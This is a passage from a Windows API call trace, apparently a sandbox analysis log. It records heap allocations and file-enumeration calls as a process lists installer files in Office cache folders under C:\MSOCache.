(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.332] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9748 [0041.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d2fa0 [0041.332] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.332] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0041.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.332] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.332] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.332] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9768 [0041.333] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d30a8 [0041.333] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.333] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0041.333] GetLastError () returned 0x12 [0041.333] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0041.333] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0041.333] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf6e0ec10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf6e0ec10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.333] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.msi", cAlternateFileName="")) returned 1 [0041.333] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58ed930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x646, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.xml", cAlternateFileName="")) returned 1 [0041.333] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0041.333] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0041.333] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0041.333] GetLastError () returned 0x12 [0041.333] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6970) returned 1 [0041.333] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0041.334] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6a78) returned 1 [0041.334] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0041.334] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0041.334] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.334] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0041.354] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0041.354] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0041.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9e90 [0041.354] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9e90, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9e90, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0041.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9e90) returned 1 [0041.354] NtClose (Handle=0x15c) returned 0x0 [0041.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0041.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0041.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6a78 [0041.354] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0041.381] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.381] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="")) returned 1 [0041.381] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6970 [0041.382] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0041.382] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9788 [0041.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d31b0 [0041.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.385] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="")) returned 1 [0041.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.385] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.385] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d97a8 [0041.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d32b8 [0041.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.386] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0041.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.386] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.386] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d97c8 [0041.387] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d33c0 [0041.387] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.389] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0041.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d97e8 [0041.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d34c8 [0041.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.390] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0041.390] GetLastError () returned 0x12 [0041.390] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0041.391] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0041.391] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.391] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="")) returned 1 [0041.391] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30a2b7b0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30a2b7b0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.xml", cAlternateFileName="")) returned 1 [0041.394] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x30306de0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x30306de0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b7cde0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x7e1dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjLR.cab", cAlternateFileName="")) returned 1 [0041.394] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0041.394] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x309dfcc0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x309dfcc0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0041.394] GetLastError () returned 0x12 [0041.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6a78) returned 1 [0041.394] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0041.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6970) returned 1 [0041.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d6868) returned 1 [0041.401] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00BA-0409-1000-0000000FF1CE}-C", cAlternateFileName="")) returned 1 [0041.401] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.402] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0041.412] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0041.412] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0041.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9e90 [0041.412] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9e90, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9e90, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0041.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9e90) returned 1 [0041.413] NtClose (Handle=0x164) returned 0x0 [0041.413] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebda0 [0041.413] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0041.414] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.414] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6970 [0041.414] FindFirstFileExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9080 [0041.424] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee803530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee4bb7b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x3e7e1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveLR.cab", cAlternateFileName="")) returned 1 [0041.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0041.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6a78 [0041.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebda0) returned 1 [0041.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d9808 [0041.425] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d35d0 [0041.425] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0041.425] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee3b15e0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, 